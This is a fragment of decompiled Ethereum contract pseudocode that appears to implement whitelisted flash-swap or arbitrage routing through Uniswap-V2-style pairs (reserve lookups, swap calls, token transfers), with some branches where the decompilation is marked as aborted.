| require ('cd', 100).length <= 18446744073709551615 | |
| require cd('cd', 100).length + 36 <= calldata.size | |
| require ('cd', 100).length >=′ 256 | |
| require ('cd', 100) == addr(('cd', 100)) | |
| require ('cd', 100) == addr(('cd', 100)) | |
| require ('cd', 100) == addr(('cd', 100)) | |
| require ('cd', 100) <= 18446744073709551615 | |
| require cd('cd', 100) + 67 <′ cd('cd', 100).length + 36 | |
| if cd[(cd('cd', 100) + 36)] > 18446744073709551615: | |
| revert with 0, 65 | |
| if ceil32(32 * cd[(cd('cd', 100) + 36)]) + 97 < 96 or ceil32(32 * cd[(cd('cd', 100) + 36)]) + 97 > 18446744073709551615: | |
| revert with 0, 65 | |
| mem[96] = cd[(cd('cd', 100) + 36)] | |
| require (32 * cd[(cd('cd', 100) + 36)]) + ('cd', 100) + 68 <= ('cd', 100).length + 36 | |
| s = 128 | |
| idx = cd('cd', 100) + 68 | |
| while idx < (32 * cd[(cd('cd', 100) + 36)]) + cd('cd', 100) + 68: | |
| require cd[idx] == addr(cd[idx]) | |
| mem[s] = cd[idx] | |
| s = s + 32 | |
| idx = idx + 32 | |
| continue | |
| require ('cd', 100) <= 18446744073709551615 | |
| require cd('cd', 100) + 67 <′ cd('cd', 100).length + 36 | |
| if cd[(cd('cd', 100) + 36)] > 18446744073709551615: | |
| revert with 0, 65 | |
| if ceil32(ceil32(cd[(cd('cd', 100) + 36)])) + 98 < 97 or ceil32(32 * cd[(cd('cd', 100) + 36)]) + ceil32(ceil32(cd[(cd('cd', 100) + 36)])) + 98 > 18446744073709551615: | |
| revert with 0, 65 | |
| mem[ceil32(32 * cd[(cd('cd', 100) + 36)]) + 97] = cd[(cd('cd', 100) + 36)] | |
| require ('cd', 100) + cd[(cd('cd', 100) + 36)] + 68 <= ('cd', 100).length + 36 | |
| mem[ceil32(32 * cd[(cd('cd', 100) + 36)]) + 129 len cd[(cd('cd', 100) + 36)]] = call.data[cd('cd', 100) + 68 len cd[(cd('cd', 100) + 36)]] | |
| require addr(cd) == this.address | |
| mem[ceil32(32 * cd[(cd('cd', 100) + 36)]) + ceil32(ceil32(cd[(cd('cd', 100) + 36)])) + 102] = addr(('cd', 100)) | |
| mem[ceil32(32 * cd[(cd('cd', 100) + 36)]) + ceil32(ceil32(cd[(cd('cd', 100) + 36)])) + 134] = addr(('cd', 100)) | |
| static call stor7.0xe6a43905 with: | |
| gas gas_remaining wei | |
| args addr(('cd', 100)), addr(('cd', 100)) | |
| mem[ceil32(32 * cd[(cd('cd', 100) + 36)]) + ceil32(ceil32(cd[(cd('cd', 100) + 36)])) + 98] = ext_call.return_data[0] | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 32 | |
| require ext_call.return_data == ext_call.return_data[12 len 20] | |
| require caller == ext_call.return_data[12 len 20] | |
| if ('cd', 100) > 0: | |
| if 1 > !('cd', 100): | |
| revert with 0, 17 | |
| if ('cd', 100) + 1 >= cd[(cd('cd', 100) + 36)]: | |
| revert with 0, 50 | |
| static call mem[(32 * ('cd', 100) + 1) + 140 len 20].getReserves() with: | |
| gas gas_remaining wei | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 96 | |
| if ext_call.return_data < 1: | |
| revert with 0, 17 | |
| if ext_call.return_data < 1: | |
| revert with 0, 17 | |
| if ('cd', 100) > ext_call.return_data[0] - 1: | |
| if ('cd', 100) < ext_call.return_data[0] - 1: | |
| revert with 0, 17 | |
| if ('cd', 100) > ext_call.return_data[32] - 1: | |
| if ('cd', 100) < ext_call.return_data[32] - 1: | |
| revert with 0, 17 | |
| static call mem[(32 * ('cd', 100) + 1) + 140 len 20].0xdfe1681 with: | |
| gas gas_remaining wei | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 32 | |
| require ext_call.return_data == ext_call.return_data[12 len 20] | |
| static call mem[(32 * ('cd', 100) + 1) + 140 len 20].token1() with: | |
| gas gas_remaining wei | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 32 | |
| require ext_call.return_data == ext_call.return_data[12 len 20] | |
| ... # Decompilation aborted, sorry: ("decompilation didn't finish",) | |
| if ('cd', 100) > 0: | |
| if 1 > !('cd', 100): | |
| revert with 0, 17 | |
| if ('cd', 100) + 1 >= cd[(cd('cd', 100) + 36)]: | |
| revert with 0, 50 | |
| static call mem[(32 * ('cd', 100) + 1) + 140 len 20].getReserves() with: | |
| gas gas_remaining wei | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 96 | |
| if ext_call.return_data < 1: | |
| revert with 0, 17 | |
| if ext_call.return_data < 1: | |
| revert with 0, 17 | |
| if ('cd', 100) > ext_call.return_data[0] - 1: | |
| if ('cd', 100) < ext_call.return_data[0] - 1: | |
| revert with 0, 17 | |
| if ('cd', 100) > ext_call.return_data[32] - 1: | |
| if ('cd', 100) < ext_call.return_data[32] - 1: | |
| revert with 0, 17 | |
| static call mem[(32 * ('cd', 100) + 1) + 140 len 20].0xdfe1681 with: | |
| gas gas_remaining wei | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 32 | |
| require ext_call.return_data == ext_call.return_data[12 len 20] | |
| static call mem[(32 * ('cd', 100) + 1) + 140 len 20].token1() with: | |
| gas gas_remaining wei | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 32 | |
| require ext_call.return_data == ext_call.return_data[12 len 20] | |
| ... # Decompilation aborted, sorry: ("decompilation didn't finish",) | |
| if cd[(cd('cd', 100) + 36)]: | |
| ... # Decompilation aborted, sorry: ("decompilation didn't finish",) | |
| if cd[36]: | |
| if cd > 0x5555555555555555555555555555555555555555555555555555555555555555: | |
| revert with 0, 17 | |
| if 1 > !(3 * cd / 997): | |
| revert with 0, 17 | |
| if cd > !((3 * cd / 997) + 1): | |
| revert with 0, 17 | |
| require ext_code.size(addr(('cd', 100))) | |
| call addr(('cd', 100)).transferFrom(address from, address to, uint256 tokens) with: | |
| gas gas_remaining wei | |
| args addr(('cd', 100)), addr(this.address), (3 * cd / 997) + 1 | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| if stor11 > !((3 * cd / 997) + 1): | |
| revert with 0, 17 | |
| stor11 = stor11 + (3 * cd / 997) + 1 | |
| require ext_code.size(addr(('cd', 100))) | |
| call addr(('cd', 100)).transfer(address to, uint256 tokens) with: | |
| gas gas_remaining wei | |
| args addr(ext_call.return_data), cd * cd / 997) + 1 | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| if cd[68]: | |
| if cd > 0x5555555555555555555555555555555555555555555555555555555555555555: | |
| revert with 0, 17 | |
| if 1 > !(3 * cd / 997): | |
| revert with 0, 17 | |
| if cd > !((3 * cd / 997) + 1): | |
| revert with 0, 17 | |
| require ext_code.size(addr(('cd', 100))) | |
| call addr(('cd', 100)).transferFrom(address from, address to, uint256 tokens) with: | |
| gas gas_remaining wei | |
| args addr(('cd', 100)), addr(this.address), (3 * cd / 997) + 1 | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| if stor12 > !((3 * cd / 997) + 1): | |
| revert with 0, 17 | |
| stor12 = stor12 + (3 * cd / 997) + 1 | |
| require ext_code.size(addr(('cd', 100))) | |
| call addr(('cd', 100)).transfer(address to, uint256 tokens) with: | |
| gas gas_remaining wei | |
| args addr(ext_call.return_data), cd * cd / 997) + 1 | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| def unknown99585aac() payable: | |
| require calldata.size - 4 >=′ 96 | |
| require cd <= 18446744073709551615 | |
| require cd <′ calldata.size | |
| if ('cd', 68).length > 18446744073709551615: | |
| revert with 0, 65 | |
| if ceil32(32 * ('cd', 68).length) + 97 < 96 or ceil32(32 * ('cd', 68).length) + 97 > 18446744073709551615: | |
| revert with 0, 65 | |
| mem[96] = ('cd', 68).length | |
| require (32 * ('cd', 68).length) + cd <= calldata.size | |
| s = 128 | |
| idx = cd[68] + 36 | |
| while idx < (32 * ('cd', 68).length) + cd: | |
| require cd[idx] == addr(cd[idx]) | |
| mem[s] = cd[idx] | |
| s = s + 32 | |
| idx = idx + 32 | |
| continue | |
| mem[ceil32(32 * ('cd', 68).length) + 97] = 0 | |
| if 0 >= ('cd', 68).length: | |
| revert with 0, 50 | |
| _105 = mem[128] | |
| static call mem[140 len 20].getReserves() with: | |
| gas gas_remaining wei | |
| mem[ceil32(32 * ('cd', 68).length) + 129 len 96] = ext_call.return_data[0 len 96] | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 96 | |
| if ext_call.return_data < 1: | |
| revert with 0, 17 | |
| if ext_call.return_data < 1: | |
| revert with 0, 17 | |
| if cd <= ext_call.return_data[0] - 1: | |
| if cd <= ext_call.return_data[32] - 1: | |
| static call addr(_105).0xdfe1681 with: | |
| gas gas_remaining wei | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(return_data.size) + 129] = ext_call.return_data[0] | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 32 | |
| require ext_call.return_data == ext_call.return_data[12 len 20] | |
| static call addr(_105).token1() with: | |
| gas gas_remaining wei | |
| mem[ceil32(32 * ('cd', 68).length) + (2 * ceil32(return_data.size)) + 129] = ext_call.return_data[0] | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 32 | |
| require ext_call.return_data == ext_call.return_data[12 len 20] | |
| mem[ceil32(32 * ('cd', 68).length) + (4 * ceil32(return_data.size)) + 161] = tx.origin | |
| mem[ceil32(32 * ('cd', 68).length) + (4 * ceil32(return_data.size)) + 193] = addr(ext_call.return_data) | |
| mem[ceil32(32 * ('cd', 68).length) + (4 * ceil32(return_data.size)) + 225] = addr(ext_call.return_data) | |
| mem[ceil32(32 * ('cd', 68).length) + (4 * ceil32(return_data.size)) + 257] = 0 | |
| mem[ceil32(32 * ('cd', 68).length) + (4 * ceil32(return_data.size)) + 289] = 0 | |
| mem[ceil32(32 * ('cd', 68).length) + (4 * ceil32(return_data.size)) + 321] = 0 | |
| mem[ceil32(32 * ('cd', 68).length) + (4 * ceil32(return_data.size)) + 353] = 256 | |
| mem[ceil32(32 * ('cd', 68).length) + (4 * ceil32(return_data.size)) + 417] = ('cd', 68).length | |
| idx = 0 | |
| s = 128 | |
| t = ceil32(32 * ('cd', 68).length) + (4 * ceil32(return_data.size)) + 449 | |
| while idx < ('cd', 68).length: | |
| mem[t] = mem[s + 12 len 20] | |
| idx = idx + 1 | |
| s = s + 32 | |
| t = t + 32 | |
| continue | |
| mem[ceil32(32 * ('cd', 68).length) + (4 * ceil32(return_data.size)) + 385] = (32 * ('cd', 68).length) + 288 | |
| require ext_code.size(addr(_105)) | |
| call addr(_105).0x22c0d9f with: | |
| gas gas_remaining wei | |
| args cdaddr(this.address), Array(len=(32 * ('cd', 68).length) + 320, data=mem[ceil32(32 * ('cd', 68).length) + (4 * ceil32(return_data.size)) + 161 len floor32(('cd', 68).length) + 10]) | |
| else: | |
| if cd < ext_call.return_data[32] - 1: | |
| revert with 0, 17 | |
| static call addr(_105).0xdfe1681 with: | |
| gas gas_remaining wei | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(return_data.size) + 129] = ext_call.return_data[0] | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 32 | |
| require ext_call.return_data == ext_call.return_data[12 len 20] | |
| static call addr(_105).token1() with: | |
| gas gas_remaining wei | |
| mem[ceil32(32 * ('cd', 68).length) + (2 * ceil32(return_data.size)) + 129] = ext_call.return_data[0] | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 32 | |
| require ext_call.return_data == ext_call.return_data[12 len 20] | |
| mem[ceil32(32 * ('cd', 68).length) + (4 * ceil32(return_data.size)) + 161] = tx.origin | |
| mem[ceil32(32 * ('cd', 68).length) + (4 * ceil32(return_data.size)) + 193] = addr(ext_call.return_data) | |
| mem[ceil32(32 * ('cd', 68).length) + (4 * ceil32(return_data.size)) + 225] = addr(ext_call.return_data) | |
| mem[ceil32(32 * ('cd', 68).length) + (4 * ceil32(return_data.size)) + 257] = 0 | |
| mem[ceil32(32 * ('cd', 68).length) + (4 * ceil32(return_data.size)) + 289] = 0 | |
| mem[ceil32(32 * ('cd', 68).length) + (4 * ceil32(return_data.size)) + 321] = cd[36] + -ext_call.return_data[32] + 1 | |
| mem[ceil32(32 * ('cd', 68).length) + (4 * ceil32(return_data.size)) + 353] = 256 | |
| mem[ceil32(32 * ('cd', 68).length) + (4 * ceil32(return_data.size)) + 417] = ('cd', 68).length | |
| idx = 0 | |
| s = 128 | |
| t = ceil32(32 * ('cd', 68).length) + (4 * ceil32(return_data.size)) + 449 | |
| while idx < ('cd', 68).length: | |
| mem[t] = mem[s + 12 len 20] | |
| idx = idx + 1 | |
| s = s + 32 | |
| t = t + 32 | |
| continue | |
| mem[ceil32(32 * ('cd', 68).length) + (4 * ceil32(return_data.size)) + 385] = (32 * ('cd', 68).length) + 288 | |
| require ext_code.size(addr(_105)) | |
| call addr(_105).0x22c0d9f with: | |
| gas gas_remaining wei | |
| args cdaddr(this.address), Array(len=(32 * ('cd', 68).length) + 320, data=mem[ceil32(32 * ('cd', 68).length) + (4 * ceil32(return_data.size)) + 161 len floor32(('cd', 68).length) + 10]) | |
| else: | |
| if cd < ext_call.return_data[0] - 1: | |
| revert with 0, 17 | |
| if cd <= ext_call.return_data[32] - 1: | |
| static call addr(_105).0xdfe1681 with: | |
| gas gas_remaining wei | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(return_data.size) + 129] = ext_call.return_data[0] | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 32 | |
| require ext_call.return_data == ext_call.return_data[12 len 20] | |
| static call addr(_105).token1() with: | |
| gas gas_remaining wei | |
| mem[ceil32(32 * ('cd', 68).length) + (2 * ceil32(return_data.size)) + 129] = ext_call.return_data[0] | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 32 | |
| require ext_call.return_data == ext_call.return_data[12 len 20] | |
| mem[ceil32(32 * ('cd', 68).length) + (4 * ceil32(return_data.size)) + 161] = tx.origin | |
| mem[ceil32(32 * ('cd', 68).length) + (4 * ceil32(return_data.size)) + 193] = addr(ext_call.return_data) | |
| mem[ceil32(32 * ('cd', 68).length) + (4 * ceil32(return_data.size)) + 225] = addr(ext_call.return_data) | |
| mem[ceil32(32 * ('cd', 68).length) + (4 * ceil32(return_data.size)) + 257] = 0 | |
| mem[ceil32(32 * ('cd', 68).length) + (4 * ceil32(return_data.size)) + 289] = cd[4] + -ext_call.return_data[0] + 1 | |
| mem[ceil32(32 * ('cd', 68).length) + (4 * ceil32(return_data.size)) + 321] = 0 | |
| mem[ceil32(32 * ('cd', 68).length) + (4 * ceil32(return_data.size)) + 353] = 256 | |
| mem[ceil32(32 * ('cd', 68).length) + (4 * ceil32(return_data.size)) + 417] = ('cd', 68).length | |
| idx = 0 | |
| s = 128 | |
| t = ceil32(32 * ('cd', 68).length) + (4 * ceil32(return_data.size)) + 449 | |
| while idx < ('cd', 68).length: | |
| mem[t] = mem[s + 12 len 20] | |
| idx = idx + 1 | |
| s = s + 32 | |
| t = t + 32 | |
| continue | |
| mem[ceil32(32 * ('cd', 68).length) + (4 * ceil32(return_data.size)) + 385] = (32 * ('cd', 68).length) + 288 | |
| require ext_code.size(addr(_105)) | |
| call addr(_105).0x22c0d9f with: | |
| gas gas_remaining wei | |
| args ext_call.return_dataaddr(this.address), Array(len=(32 * ('cd', 68).length) + 320, data=mem[ceil32(32 * ('cd', 68).length) + (4 * ceil32(return_data.size)) + 161 len floor32(('cd', 68).length) + 10]) | |
| else: | |
| if cd < ext_call.return_data[32] - 1: | |
| revert with 0, 17 | |
| static call addr(_105).0xdfe1681 with: | |
| gas gas_remaining wei | |
| mem[ceil32(32 * ('cd', 68).length) + ceil32(return_data.size) + 129] = ext_call.return_data[0] | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 32 | |
| require ext_call.return_data == ext_call.return_data[12 len 20] | |
| static call addr(_105).token1() with: | |
| gas gas_remaining wei | |
| mem[ceil32(32 * ('cd', 68).length) + (2 * ceil32(return_data.size)) + 129] = ext_call.return_data[0] | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 32 | |
| require ext_call.return_data == ext_call.return_data[12 len 20] | |
| mem[ceil32(32 * ('cd', 68).length) + (4 * ceil32(return_data.size)) + 161] = tx.origin | |
| mem[ceil32(32 * ('cd', 68).length) + (4 * ceil32(return_data.size)) + 193] = addr(ext_call.return_data) | |
| mem[ceil32(32 * ('cd', 68).length) + (4 * ceil32(return_data.size)) + 225] = addr(ext_call.return_data) | |
| mem[ceil32(32 * ('cd', 68).length) + (4 * ceil32(return_data.size)) + 257] = 0 | |
| mem[ceil32(32 * ('cd', 68).length) + (4 * ceil32(return_data.size)) + 289] = cd[4] + -ext_call.return_data[0] + 1 | |
| mem[ceil32(32 * ('cd', 68).length) + (4 * ceil32(return_data.size)) + 321] = cd[36] + -ext_call.return_data[32] + 1 | |
| mem[ceil32(32 * ('cd', 68).length) + (4 * ceil32(return_data.size)) + 353] = 256 | |
| mem[ceil32(32 * ('cd', 68).length) + (4 * ceil32(return_data.size)) + 417] = ('cd', 68).length | |
| idx = 0 | |
| s = 128 | |
| t = ceil32(32 * ('cd', 68).length) + (4 * ceil32(return_data.size)) + 449 | |
| while idx < ('cd', 68).length: | |
| mem[t] = mem[s + 12 len 20] | |
| idx = idx + 1 | |
| s = s + 32 | |
| t = t + 32 | |
| continue | |
| mem[ceil32(32 * ('cd', 68).length) + (4 * ceil32(return_data.size)) + 385] = (32 * ('cd', 68).length) + 288 | |
| require ext_code.size(addr(_105)) | |
| call addr(_105).0x22c0d9f with: | |
| gas gas_remaining wei | |
| args ext_call.return_dataaddr(this.address), Array(len=(32 * ('cd', 68).length) + 320, data=mem[ceil32(32 * ('cd', 68).length) + (4 * ceil32(return_data.size)) + 161 len floor32(('cd', 68).length) + 10]) | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| def unknown9a7bff79() payable: | |
| require calldata.size - 4 >=′ 128 | |
| require cd == addr(cd) | |
| require cd <= 18446744073709551615 | |
| require cd <′ calldata.size | |
| require ('cd', 100).length <= 18446744073709551615 | |
| require cd('cd', 100).length + 36 <= calldata.size | |
| mem[100] = caller | |
| call stor5.0xe5e31b13 with: | |
| gas gas_remaining wei | |
| args caller | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 32 | |
| require ext_call.return_data == bool(ext_call.return_data[0]) | |
| require ext_call.return_data[0] | |
| require this.address == addr(cd) | |
| require ('cd', 100).length >=′ 256 | |
| require ('cd', 100) == addr(('cd', 100)) | |
| require ('cd', 100) == addr(('cd', 100)) | |
| require ('cd', 100) == addr(('cd', 100)) | |
| require ('cd', 100) <= 18446744073709551615 | |
| require cd('cd', 100) + 67 <′ cd('cd', 100).length + 36 | |
| if cd[(cd('cd', 100) + 36)] > 18446744073709551615: | |
| revert with 0, 65 | |
| if ceil32(32 * cd[(cd('cd', 100) + 36)]) + 97 < 96 or ceil32(return_data.size) + ceil32(32 * cd[(cd('cd', 100) + 36)]) + 97 > 18446744073709551615: | |
| revert with 0, 65 | |
| mem[ceil32(return_data.size) + 96] = cd[(cd('cd', 100) + 36)] | |
| require (32 * cd[(cd('cd', 100) + 36)]) + ('cd', 100) + 68 <= ('cd', 100).length + 36 | |
| s = ceil32(return_data.size) + 128 | |
| idx = cd('cd', 100) + 68 | |
| while idx < (32 * cd[(cd('cd', 100) + 36)]) + cd('cd', 100) + 68: | |
| require cd[idx] == addr(cd[idx]) | |
| mem[s] = cd[idx] | |
| s = s + 32 | |
| idx = idx + 32 | |
| continue | |
| require ('cd', 100) <= 18446744073709551615 | |
| require cd('cd', 100) + 67 <′ cd('cd', 100).length + 36 | |
| if cd[(cd('cd', 100) + 36)] > 18446744073709551615: | |
| revert with 0, 65 | |
| if ceil32(ceil32(cd[(cd('cd', 100) + 36)])) + 98 < 97 or ceil32(return_data.size) + ceil32(32 * cd[(cd('cd', 100) + 36)]) + ceil32(ceil32(cd[(cd('cd', 100) + 36)])) + 98 > 18446744073709551615: | |
| revert with 0, 65 | |
| mem[ceil32(return_data.size) + ceil32(32 * cd[(cd('cd', 100) + 36)]) + 97] = cd[(cd('cd', 100) + 36)] | |
| require ('cd', 100) + cd[(cd('cd', 100) + 36)] + 68 <= ('cd', 100).length + 36 | |
| mem[ceil32(return_data.size) + ceil32(32 * cd[(cd('cd', 100) + 36)]) + 129 len cd[(cd('cd', 100) + 36)]] = call.data[cd('cd', 100) + 68 len cd[(cd('cd', 100) + 36)]] | |
| mem[ceil32(return_data.size) + ceil32(32 * cd[(cd('cd', 100) + 36)]) + cd[(cd('cd', 100) + 36)] + 129] = 0 | |
| if ('cd', 100) > 0: | |
| if 1 > !('cd', 100): | |
| revert with 0, 17 | |
| if ('cd', 100) + 1 >= cd[(cd('cd', 100) + 36)]: | |
| revert with 0, 50 | |
| _664 = mem[(32 * ('cd', 100) + 1) + ceil32(return_data.size) + 128] | |
| static call mem[(32 * ('cd', 100) + 1) + ceil32(return_data.size) + 140 len 20].getReserves() with: | |
| gas gas_remaining wei | |
| mem[ceil32(return_data.size) + ceil32(32 * cd[(cd('cd', 100) + 36)]) + ceil32(ceil32(cd[(cd('cd', 100) + 36)])) + 98 len 96] = ext_call.return_data[0 len 96] | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 96 | |
| if ext_call.return_data < 1: | |
| revert with 0, 17 | |
| if ext_call.return_data < 1: | |
| revert with 0, 17 | |
| if ('cd', 100) > ext_call.return_data[0] - 1: | |
| if ('cd', 100) < ext_call.return_data[0] - 1: | |
| revert with 0, 17 | |
| if ('cd', 100) > ext_call.return_data[32] - 1: | |
| if ('cd', 100) < ext_call.return_data[32] - 1: | |
| revert with 0, 17 | |
| static call addr(_664).0xdfe1681 with: | |
| gas gas_remaining wei | |
| mem[(2 * ceil32(return_data.size)) + ceil32(32 * cd[(cd('cd', 100) + 36)]) + ceil32(ceil32(cd[(cd('cd', 100) + 36)])) + 98] = ext_call.return_data[0] | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 32 | |
| require ext_call.return_data == ext_call.return_data[12 len 20] | |
| static call addr(_664).token1() with: | |
| gas gas_remaining wei | |
| else: | |
| if ('cd', 100) <= 0: | |
| if cd[(cd('cd', 100) + 36)]: | |
| mem[ceil32(return_data.size) + ceil32(32 * cd[(cd('cd', 100) + 36)]) + ceil32(ceil32(cd[(cd('cd', 100) + 36)])) + 98 len ceil32(cd[(cd('cd', 100) + 36)])] = call.data[cd('cd', 100) + 68 len cd[(cd('cd', 100) + 36)]], mem[ceil32(return_data.size) + ceil32(32 * cd[(cd('cd', 100) + 36)]) + cd[(cd('cd', 100) + 36)] + 129 len ceil32(cd[(cd('cd', 100) + 36)]) - cd[(cd('cd', 100) + 36)]] | |
| if ceil32(cd[(cd('cd', 100) + 36)]) > cd[(cd('cd', 100) + 36)]: | |
| mem[ceil32(return_data.size) + ceil32(32 * cd[(cd('cd', 100) + 36)]) + ceil32(ceil32(cd[(cd('cd', 100) + 36)])) + cd[(cd('cd', 100) + 36)] + 98] = 0 | |
| call this.address.mem[ceil32(return_data.size) + ceil32(32 * cd[(cd('cd', 100) + 36)]) + ceil32(ceil32(cd[(cd('cd', 100) + 36)])) + 98 len 4] with: | |
| gas gas_remaining wei | |
| args mem[ceil32(return_data.size) + ceil32(32 * cd[(cd('cd', 100) + 36)]) + ceil32(ceil32(cd[(cd('cd', 100) + 36)])) + 102 len cd[(cd('cd', 100) + 36)] - 4] | |
| if not cd / 9999: | |
| if cd / 9999: | |
| if cd > !(cd / 9999): | |
| revert with 0, 17 | |
| require ext_code.size(addr(('cd', 100))) | |
| call addr(('cd', 100)).transferFrom(address from, address to, uint256 tokens) with: | |
| gas gas_remaining wei | |
| args addr(('cd', 100)), addr(this.address), cd / 9999 | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| if stor12 > !(cd / 9999): | |
| revert with 0, 17 | |
| stor12 += cd / 9999 | |
| require ext_code.size(addr(('cd', 100))) | |
| call addr(('cd', 100)).transfer(address to, uint256 tokens) with: | |
| gas gas_remaining wei | |
| args caller, cd / 9999) | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| stop | |
| if cd > !(cd / 9999): | |
| revert with 0, 17 | |
| require ext_code.size(addr(('cd', 100))) | |
| call addr(('cd', 100)).transferFrom(address from, address to, uint256 tokens) with: | |
| gas gas_remaining wei | |
| args addr(('cd', 100)), addr(this.address), cd / 9999 | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| if stor11 > !(cd / 9999): | |
| revert with 0, 17 | |
| stor11 += cd / 9999 | |
| require ext_code.size(addr(('cd', 100))) | |
| call addr(('cd', 100)).transfer(address to, uint256 tokens) with: | |
| gas gas_remaining wei | |
| args caller, cd / 9999) | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| if not cd / 9999: | |
| stop | |
| if cd > !(cd / 9999): | |
| revert with 0, 17 | |
| ... # Decompilation aborted, sorry: ("decompilation didn't finish",) | |
| if cd / 9999: | |
| if cd > !(cd / 9999): | |
| revert with 0, 17 | |
| require ext_code.size(addr(('cd', 100))) | |
| call addr(('cd', 100)).transferFrom(address from, address to, uint256 tokens) with: | |
| gas gas_remaining wei | |
| args addr(('cd', 100)), addr(this.address), cd / 9999 | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| if stor11 > !(cd / 9999): | |
| revert with 0, 17 | |
| stor11 += cd / 9999 | |
| require ext_code.size(addr(('cd', 100))) | |
| call addr(('cd', 100)).transfer(address to, uint256 tokens) with: | |
| gas gas_remaining wei | |
| args caller, cd / 9999) | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| if cd / 9999: | |
| if cd > !(cd / 9999): | |
| revert with 0, 17 | |
| require ext_code.size(addr(('cd', 100))) | |
| call addr(('cd', 100)).transferFrom(address from, address to, uint256 tokens) with: | |
| gas gas_remaining wei | |
| args addr(('cd', 100)), addr(this.address), cd / 9999 | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| if stor12 > !(cd / 9999): | |
| revert with 0, 17 | |
| stor12 += cd / 9999 | |
| require ext_code.size(addr(('cd', 100))) | |
| call addr(('cd', 100)).transfer(address to, uint256 tokens) with: | |
| gas gas_remaining wei | |
| args caller, cd / 9999) | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| stop | |
| if 1 > !('cd', 100): | |
| revert with 0, 17 | |
| if ('cd', 100) + 1 >= cd[(cd('cd', 100) + 36)]: | |
| revert with 0, 50 | |
| _670 = mem[(32 * ('cd', 100) + 1) + ceil32(return_data.size) + 128] | |
| static call mem[(32 * ('cd', 100) + 1) + ceil32(return_data.size) + 140 len 20].getReserves() with: | |
| gas gas_remaining wei | |
| mem[ceil32(return_data.size) + ceil32(32 * cd[(cd('cd', 100) + 36)]) + ceil32(ceil32(cd[(cd('cd', 100) + 36)])) + 98 len 96] = ext_call.return_data[0 len 96] | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 96 | |
| if ext_call.return_data < 1: | |
| revert with 0, 17 | |
| if ext_call.return_data < 1: | |
| revert with 0, 17 | |
| if ('cd', 100) > ext_call.return_data[0] - 1: | |
| if ('cd', 100) < ext_call.return_data[0] - 1: | |
| revert with 0, 17 | |
| if ('cd', 100) > ext_call.return_data[32] - 1: | |
| if ('cd', 100) < ext_call.return_data[32] - 1: | |
| revert with 0, 17 | |
| static call addr(_670).0xdfe1681 with: | |
| gas gas_remaining wei | |
| mem[(2 * ceil32(return_data.size)) + ceil32(32 * cd[(cd('cd', 100) + 36)]) + ceil32(ceil32(cd[(cd('cd', 100) + 36)])) + 98] = ext_call.return_data[0] | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 32 | |
| require ext_call.return_data == ext_call.return_data[12 len 20] | |
| static call addr(_670).token1() with: | |
| gas gas_remaining wei | |
| mem[(4 * ceil32(return_data.size)) + ceil32(32 * cd[(cd('cd', 100) + 36)]) + ceil32(ceil32(cd[(cd('cd', 100) + 36)])) + 98] = ext_call.return_data[0] | |
| if not ext_call.success: | |
| revert with ext_call.return_data[0 len return_data.size] | |
| require return_data.size >=′ 32 | |
| require ext_call.return_data == ext_call.return_data[12 len 20] | |
| mem[(6 * ceil32(return_data.size)) + ceil32(32 * cd[(cd('cd', 100) + 36)]) + ceil32(ceil32(cd[(cd('cd', 100) + 36)])) + 130] = tx.origin | |
| idx = 0 | |
| s = ceil32(return_data.size) + 128 | |
| t = (6 * ceil32(return_data.size)) + ceil32(32 * cd[(cd('cd', 100) + 36)]) + ceil32(ceil32(cd[(cd('cd', 100) + 36)])) + 418 | |
